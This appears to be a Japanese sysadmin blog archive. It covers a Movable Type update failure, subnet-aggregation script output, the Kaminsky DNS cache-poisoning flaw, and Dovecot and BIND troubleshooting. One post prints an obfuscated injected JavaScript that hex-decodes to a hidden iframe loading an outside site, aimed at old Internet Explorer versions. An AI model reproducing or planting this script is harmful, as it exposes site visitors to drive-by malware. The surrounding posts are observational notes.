MTのアップデートが上手く行きません。
症状は
1)Widgetが表示されなくなる
2)スタイルシートが読み込まれない
調べてみたけど、結局原因までたどり着けなくて、フルリストア。
残念なり。
もちっと調べてみないと。あかん。
症状は
1)Widgetが表示されなくなる
2)スタイルシートが読み込まれない
調べてみたけど、結局原因までたどり着けなくて、フルリストア。
残念なり。
もちっと調べてみないと。あかん。
D:\src>ip.pl -s 10.1.0.0 -e 10.11.200.255こんな感じで、10.1.0.0から10.11.200.255をサブネット表記するにはこうしたらいいというリストを出してくれます(2つ目は192.1.0.0から192.20.255.199の例)。ネットワークなんて触ってると、ルーティングテーブルとかACLとかで、オーバーヘッド(ペナルティ)を減らしたいという意図からできる限り行数を短くしたい事も多いし、この機会に作っておこうとか、そんな感じですが。
10.1.0.0/16
10.2.0.0/15
10.4.0.0/14
10.8.0.0/15
10.10.0.0/16
10.11.0.0/17
10.11.128.0/18
10.11.192.0/21
10.11.200.0/24
D:\src>ip.pl -s 192.1.0.0 -e 192.20.255.199
192.1.0.0/16
192.2.0.0/15
192.4.0.0/14
192.8.0.0/13
192.16.0.0/14
192.20.0.0/17
192.20.128.0/18
192.20.192.0/19
192.20.224.0/20
192.20.240.0/21
192.20.248.0/22
192.20.252.0/23
192.20.254.0/24
192.20.255.0/25
192.20.255.128/26
192.20.255.192/29
Slashdot "DNS Forgery Pharming" によると、OpenBSDは10年前にID予測問題にパッチを当てていた(BIND Vulnerabilities and Solutions)。ISCのプログラマがこのパッチを採用していれば... と。OpenBSDに入っているBINDのREADME.OpenBSDを見ると、「オリジナルBINDが採用しているLFSRが安全であると証明されるまで、IDの生成はLCG (Linear Congruential Generator)を使用する」とある。ウィキペディアでは、LFSRは数学的に解析が容易であるため、そのまま暗号に使用することを推奨されない、との記述も。ポイントはこの記事が2007年7月の記事という点。
ソースポートランダム化による防御も突破されている根本的にDNSSECの導入が普通のことになるまで、持つのだろうか・・・?
この攻撃に対しては、20世紀から有効とされてきた、DNSの基本的な防御手段も大幅に無効化してしまうという。「DNSは一般的に、情報タイムアウト (TTL)、クエリの処理待ち(Q)、レスポンスのマッチング(ID)の3階層の防壁により保護されている。TTLでサーバーは保持していないデータのみ を受け入れ、Qで処理待ちのクエリがある場合にのみレスポンスを受け入れ、IDで正しいIPアドレス・ポート・16ビットIDフィールドからのレスポンス のみを受け入れる」(同氏)。こうした手法により保護されてきたDNSだが、TTL防御を突破するために存在しないネームで攻撃するなど、キャッシュポイ ズニング攻撃の手法も洗練化が進んでしまった。
「カミンスキー脆弱性を突く攻撃では、さらにQ防御も破られてしまい、残されたのはID防御のみとなってしまった。しかし、これも総当たり攻撃を行えば、いつかはレスポンスのマッチングが取られ、不正なレスポンスが受け入れられてしまうことになる」
<script>こんなJavaScriptが。
var s='3C696672616D65207372633D22687474703A2F2F7777772E726564686F742D6D696C66732E636F6D2F73742F7468756D62732F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E';
var o='';
for(i=0;i<s.length;i=i+2) {
var c=String.fromCharCode(37);
o=o+c+s.substr(i,2);
}
var v=navigator.userAgent.toLowerCase();
if ((v.indexOf('msie 6.0') != -1 || v.indexOf('msie 5.') != -1) && v.indexOf('msie 7.') == -1 && v.indexOf('nt 6.') == -1){
document.write(unescape(o));
}
</script>
$ egrep -v '^ *(#|$)' /usr/local/etc/dovecot.conf
base_dir = /var/run/dovecot/
protocols = pop3 imap
imap_listen = 10.1.1.52:143
pop3_listen = 10.1.1.52:110
log_path = /var/log/dovecot
info_log_path = /var/log/dovecot
log_timestamp = "%b %d %H:%M:%S "
login = imap
login_process_size = 32
login_process_per_connection = no
login_processes_count = 8
login_max_processes_count = 500
login = pop3
login_executable = /usr/local/libexec/dovecot/pop3-login
max_mail_processes = 512
first_valid_uid = 90
last_valid_uid = 60099
default_mail_env = maildir:/%h/Maildir
imap_executable = /usr/local/libexec/dovecot/imap
auth = default
auth_mechanisms = plain
auth_userdb = passwd
auth_passdb = pam
auth_user = root
# cp dovecot-example.conf dovecot.conf
protocols = pop3 imap
listen = 10.1.1.1
ssl_disable = yes
pop3_uidl_format = %v.%u
# telnet 10.1.1.1 110
Trying 10.1.1.1...
Connected to 10.1.1.1.
Escape character is '^]'.
+OK Dovecot ready.
user hogehoge
-ERR Plaintext authentication disallowed on non-secure connections.
disable_plaintext_auth = no
# telnet 10.1.1.1 110
Trying 10.1.1.1...
Connected to 10.1.1.1.
Escape character is '^]'.
+OK Dovecot ready.
user hogehoge
+OK
pass hogehoge
-ERR [IN-USE] Internal login failure. Refer to server log for more information.
Connection to 10.1.1.1 closed by foreign host.
log_path = /var/log/dovecot
info_log_path = /var/log/dovecot
log_timestamp = "%b %d %H:%M:%S "
Info: Dovecot v1.0.15 starting up
Error: user hoge0001: Logins with UID 103 not permitted (see first_valid_uid in config file).
Info: pop3-login: Internal login failure: user=<hoge0001>, method=PLAIN, rip=10.1.1.11, lip=10.1.1.1
first_valid_uid = 90
last_valid_uid = 60099
protocols = pop3 imap
listen = 10.1.1.52
disable_plaintext_auth = no
log_path = /var/log/dovecot
info_log_path = /var/log/dovecot
log_timestamp = "%b %d %H:%M:%S "
ssl_disable = yes
first_valid_uid = 90
last_valid_uid = 60099
protocol imap {
}
protocol pop3 {
pop3_uidl_format = %v.%u
}
protocol lda {
postmaster_address = postmaster@example.com
}
auth default {
mechanisms = plain
passdb pam {
}
userdb passwd {
}
user = root
}
dict {
}
plugin {
}
今回の脆弱性を発見したのは、セキュリティ研究者のダン・カミンスキー氏。同氏は、2008年8月に開催されるセキュリティ会議「Black Hat」において、今回の脆弱性を発表する予定で、それまでは脆弱性の詳細を公表しない予定だった。という事で正式発表前に脆弱性の詳細が漏れてしまったことから、攻撃ツールが出回ってしまい、、、大慌てという感じ。しかしながら2008年7月22日、脆弱性の詳細が予定外に公開されてしまった。そして今回、この脆弱性を悪用するためのプログラム(攻撃コード)も公 開されたという。このプログラムを使えば、キャッシュポイズニング攻撃が容易に行えるとされている。実際、米サンズ・インスティチュートによれば、今回の 脆弱性を悪用した攻撃が既に確認されているという情報もあるという。
同じくサンズ・インスティチュートによれば、7月24日に開催されたBlack HatのWebセミナーにおいてカミンスキー氏は、本来はBlack Hat本番で明らかにする予定だった脆弱性の詳細を発表。カミンスキー氏の実験では、今回の脆弱性を突けば、5秒から10秒でDNS情報を改ざんできたと している。
Aug 6 23:26:40 dns named[5248]: [ID 873579 daemon.error] dns_rdata_fromtext: 192.168.100.rev:15: near '100_254.hogehoge.co.jp.': bad name (check-names)こんなログが吐かれていました。
Aug 6 23:26:40 dns named[5248]: [ID 873579 daemon.error] zone 100.168.192.in-addr.arpa/IN: loading from master file 192.168.2.rev failed: bad name (check-names)
check-names ignore;と書いて、チェックを緩くするといいらしい・・・。
最近のコメント